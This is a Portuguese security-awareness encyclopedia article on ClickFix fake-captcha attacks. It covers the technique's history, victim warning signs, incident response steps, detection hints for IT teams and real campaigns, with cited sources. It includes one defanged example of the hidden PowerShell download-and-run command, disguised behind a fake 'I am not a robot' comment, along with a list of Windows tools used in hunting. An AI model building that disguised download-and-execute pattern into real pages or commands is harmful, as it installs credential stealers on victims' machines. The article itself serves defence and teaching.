Cyberpediapor Brain
PTDEENESFRITNL

ClickFix e falsos captchas

Uma falsa verificação «Não sou um robô» leva-o a colar um comando em Windows+R. Como funciona o ClickFix e o que fazer se o executou.

Em 30 segundos

Onde acontece
Numa página web, muitas vezes um site conhecido que foi pirateado, e em anexos que imitam um documento Word.
O que o atacante quer
Que execute, por si próprio, um comando que instala no seu posto de trabalho um ladrão de palavras-passe ou um acesso remoto.
O reflexo
Nenhuma verificação legítima lhe pede para colar algo na janela Executar, no PowerShell ou no Terminal. Se uma página o pedir, feche-a.
Se já o fez
Desligue o cabo de rede ou o Wi-Fi, deixe o computador ligado e contacte de imediato o suporte informático.

Do que se trata

O ClickFix é uma técnica de engenharia social que leva a própria vítima a instalar um software malicioso. Uma página web ou um anexo mostra um falso erro ou uma falsa verificação «Não sou um robô» e, a seguir, uma série de passos: abrir uma janela de comandos do Windows, colar, confirmar. A página já colocou um comando na área de transferência, e é esse comando que a vítima executa sem o ter lido1.

A Proofpoint observou o método logo em março de 2024. O nome vem de uma série de falsos alertas de atualização do navegador, detetada em meados de abril de 2024, a que os investigadores chamaram ClickFix2. Desde o outono de 2024, os cibercriminosos multiplicam estas campanhas, refere a ANSSI3. Segundo a ESET, o ClickFix cresceu mais de 500 % entre o segundo semestre de 2024 e o primeiro semestre de 2025, até se tornar o segundo vetor de ataque, a seguir ao phishing4.

Perguntas diretas

Um captcha verdadeiro pode pedir-me para carregar em Windows+R?

Não. Um captcha resolve-se na própria página: uma caixa para assinalar, imagens para escolher, por vezes nada. A Google aconselha desconfiança perante qualquer site que peça para sair do navegador e executar comandos no seu dispositivo5.

Colei o comando, mas não carreguei em Enter. Fui infetado?

Depende da janela. Na janela Executar, nada arranca antes de carregar em Enter2: feche-a sem confirmar. No PowerShell ou no Terminal, uma colagem pode executar-se sozinha. Na consola do PowerShell, um simples clique com o botão direito cola o comando e executa-o2, e a Microsoft aconselha a configurar o Terminal para avisar quando o texto colado tem várias linhas6. Em todos os casos, avise o suporte informático: o seu posto pode estar afetado, e a página que lhe pediu este gesto continua armadilhada para os seus colegas.

Porque é que o antivírus nem sempre bloqueia o ataque?

Porque é o utilizador que executa o comando, com uma ferramenta fornecida pelo Windows, e sem ficheiro para analisar no início. Segundo a Proofpoint, os antivírus e as ferramentas de deteção instaladas nos postos têm dificuldade em inspecionar o conteúdo da área de transferência: é por isso necessário bloquear a página armadilhada antes de ela ser apresentada2. A Microsoft considera que uma campanha ClickFix pode, assim, passar pelas proteções automáticas clássicas6.

1Na pele do atacante2 min

Um ficheiro executável enviado por email ou descarregado da web passa por vários controlos antes de poder abrir. O ClickFix contorna-os ao confiar o gesto perigoso à vítima: já não há ficheiro, apenas uma linha de texto para colar1.

Montar a operação exige pouca competência. Em meados de setembro de 2024, um investigador publicou no GitHub, «para fins educativos», um kit de código aberto de falso reCAPTCHA, e a Proofpoint encontrou-o em emails maliciosos poucos dias depois7. Desde o fim de 2024, a Microsoft vê vendedores a propor em fóruns de piratas geradores de ClickFix, apelidados «Win + R», com páginas que imitam, nomeadamente, a Cloudflare. A subscrição custa entre 200 e 1500 dólares por mês. Uma peça avulsa, como o código-fonte, a página de entrada ou a linha de comando, vende-se entre 200 e 500 dólares6.

O clique em «verificar» ativa um script que copia o comando para a área de transferência, em segundo plano6. Este comando termina muitas vezes com um falso texto de confirmação, do género «I am not a robot: CAPTCHA Verification UID»6. A Proofpoint explica a função dessa falsa mensagem no fim do comando: depois de o comando ser colado na janela Executar, a vítima não vê o verdadeiro comando malicioso7. O campo desta janela não aceita mais de 259 caracteres6, e o comando colado limita-se, em geral, a descarregar a fase seguinte a partir de um servidor. O PowerShell continua a ser a ferramenta do Windows mais usada para isso6.

Excerto
O que a página coloca na área de transferência (exemplo reconstituído, endereço neutralizado):
powershell -w h -c "iwr hxxps://exemplo[.]invalid/v | iex" # I am not a robot: CAPTCHA Verification UID: 4821

O que a vítima pode ver na janela Executar (ilustração): a falsa mensagem, não o comando.
...ex" # I am not a robot: CAPTCHA Verification UID: 4821
2O que vê no ecrã2 min

O cenário típico: um falso captcha aparece antes da página que queria ver, muitas vezes à imagem do reCAPTCHA da Google ou do Turnstile da Cloudflare6. Clica, e o captcha dá-lhe instruções: abrir a janela Executar com a tecla Windows e R, colar com Ctrl+V e carregar em Enter. É o cenário descrito pela CISA e pelo FBI no seu alerta de maio de 2025 sobre o ladrão de dados LummaC28.

O cenário muda consoante o alvo. Em março de 2024, havia emails com um anexo que parecia um documento Word, com a mensagem «a extensão Word Online não está instalada» e dois botões, «How to fix» e «Auto-fix»2. A partir de dezembro de 2024, uma campanha visou o pessoal da hotelaria, imitando a Booking.com, com um falso captcha colocado sobre uma cópia de página da Booking.com mal visível em fundo9.

Não confie no aspeto da página, que pode imitar fielmente a Cloudflare, a Google ou a Booking.com. O sinal que o deve fazer parar é a instrução: uma página web pede-lhe que saia do navegador para colar algo numa janela do sistema. No programa Brain, este gesto liga-se ao reflexo «Identificar os sinais de manipulação no corpo do email». Aqui, o sinal de manipulação é o próprio passo a passo, tanto por email como na web.

Se confirmou o comando, aja nos minutos seguintes. Desligue o cabo de rede ou o Wi-Fi, mas não desligue o computador: na sua ficha sobre ransomware, a Cybermalveillance.gouv.fr recorda que o desligamento pode apagar elementos de prova contidos na memória e necessários à investigação10. Contacte o suporte informático ou a equipa de segurança e diga-lhes que contas estavam abertas no posto. O LummaC2, um dos programas instalados desta forma, leva credenciais financeiras, carteiras de criptomoedas, extensões do navegador e informações de autenticação multifator8: são estas as contas a proteger primeiro. Sem serviço informático, a plataforma 17cyber.gouv.fr propõe um percurso de assistência10.

3Por baixo do capôEquipas de TI1 min

A janela Executar pertence ao Explorador do Windows (explorer.exe), um componente em que o sistema confia6. Cada comando lançado com êxito a partir desta janela deixa um rasto na chave de registo RunMRU, que guarda o histórico do que foi escrito. A Microsoft aconselha os investigadores a procurar aí chamadas a powershell, mshta, rundll32, wscript, curl ou wget, ferramentas do Windows capazes de descarregar ou executar código6. Sobre o lugar do PowerShell nos ataques em geral, veja o artigo sobre a execução por intérprete de comandos.

A Microsoft recomenda desativar a janela Executar por política de grupo para quem não precisa dela, ativar o registo de blocos de script do PowerShell e limitar as aplicações autorizadas6. A Google convida as empresas a proibir por defeito a execução de scripts pelos utilizadores5. A CISA aconselha uma lista de aplicações autorizadas e contas separadas para a administração8.

A técnica já não visa apenas o Windows. Em junho de 2025, uma campanha ClickFix visou utilizadores de macOS para instalar o ladrão de dados Atomic macOS Stealer6, e a ESET descreve-a como uma ameaça para Windows, Linux e macOS4.

4AutópsiasCasos reais2 min

Março de 2024: TA571 e ClearFake

A 1 de março de 2024, a TA571, um distribuidor de emails maliciosos, envia mais de 100 000 mensagens a milhares de organizações com a falsa página Word descrita acima. Consoante as campanhas da primavera, o comando instala DarkGate, Matanbuchus ou NetSupport2. Desde o início de abril, a campanha ClearFake injeta falsos alertas em sites legítimos pirateados. A Proofpoint descreve aí uma cadeia em que um único script PowerShell podia fazer executar cinco famílias de software malicioso, incluindo o ladrão de dados Lumma Stealer2.

Setembro de 2024: os falsos alertas do GitHub

A 18 de setembro de 2024, atacantes comentam ou abrem tickets em repositórios do GitHub. As notificações que o GitHub envia aos programadores apresentam-se como um alerta de segurança e levam a um falso site do GitHub com um falso reCAPTCHA. O comando instala o Lumma Stealer, e a Proofpoint contabiliza pelo menos 300 organizações afetadas7.

Dezembro de 2024: a hotelaria na mira

A Microsoft acompanha com o nome Storm-1865 a campanha com as cores da Booking.com. Visa funcionários da hotelaria na América do Norte, na Oceânia, na Ásia e na Europa, e instala, nomeadamente, XWorm, Lumma Stealer, VenomRAT, AsyncRAT, Danabot e NetSupport RAT9.

2025: serviços de informações aderem

A Google identificou o LOSTKEYS, um programa que rouba ficheiros, e atribui-o ao grupo COLDRIVER, também chamado Callisto ou Star Blizzard. O LOSTKEYS, observado em janeiro, março e abril de 2025, é entregue no fim de uma cadeia que começa com um falso captcha: a página copia um comando PowerShell e pede para o executar a partir da janela Executar. Entre os alvos recentes do grupo contam-se conselheiros, atuais ou antigos, de governos ocidentais, jornalistas e ONG5. Segundo a ANSSI, operadores do Callisto teriam também usado esta técnica em setembro de 2025, em campanhas dirigidas a membros da sociedade civil na Rússia e a ONG envolvidas na Ucrânia. A agência indica ainda que pelo menos uma campanha ClickFix chegou ao seu conhecimento3.

Ficha

Identificador
CP-011
Ala
1. Ataques e técnicas
Competência Brain
Detetar o phishing (detect_phishing)
Reflexo Brain
Identificar os sinais de manipulação no corpo do email (cr-001)
Esquema
G1 · Cadeia de ataque (Kill Chain)
Idiomas
de, en, es, fr, it, nl, pt
Fontes
10 fontes verificadas em 26 de outubro de 2026
Fontes10 fontes
  1. MITRE ATT&CK, «User Execution: Malicious Copy and Paste (T1204.004)», 18 de março de 2025. https://attack.mitre.org/techniques/T1204/004/ (consultado em 26 de outubro de 2026)
  2. Proofpoint, «From Clipboard to Compromise: A PowerShell Self-Pwn», 17 de junho de 2024. https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn (consultado em 26 de outubro de 2026)
  3. ANSSI, «Panorama de la cybermenace 2025», 11 de março de 2026. https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf (consultado em 26 de outubro de 2026)
  4. ESET (WeLiveSecurity), «Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025», 26 de junho de 2025. https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ (consultado em 26 de outubro de 2026)
  5. Google Threat Intelligence Group, «COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs», 7 de maio de 2025. https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos (consultado em 26 de outubro de 2026)
  6. Microsoft Threat Intelligence, «Think before you Click(Fix): Analyzing the ClickFix social engineering technique», 21 de agosto de 2025. https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ (consultado em 26 de outubro de 2026)
  7. Proofpoint, «Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape», 18 de novembro de 2024. https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape (consultado em 26 de outubro de 2026)
  8. CISA et FBI, «Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations», 21 de maio de 2025. https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b (consultado em 26 de outubro de 2026)
  9. Microsoft Threat Intelligence, «Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware», 13 de março de 2025. https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ (consultado em 26 de outubro de 2026)
  10. Cybermalveillance.gouv.fr, «Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?», 3 de junho de 2025. https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares (consultado em 26 de outubro de 2026)

Citar este artigo

Brain, «ClickFix e falsos captchas», Cyberpedia, 2026. https://startbrain.io/cyberpedia/pt/articles/clickfix-captchas-falsos/

BibTeX 
@misc{brain_cp011_pt_2026,
  author = {Brain},
  title = {ClickFix e falsos captchas},
  year = {2026},
  howpublished = {Cyberpedia},
  url = {https://startbrain.io/cyberpedia/pt/articles/clickfix-captchas-falsos/},
  note = {CC BY 4.0}
}
Licença CC BY 4.0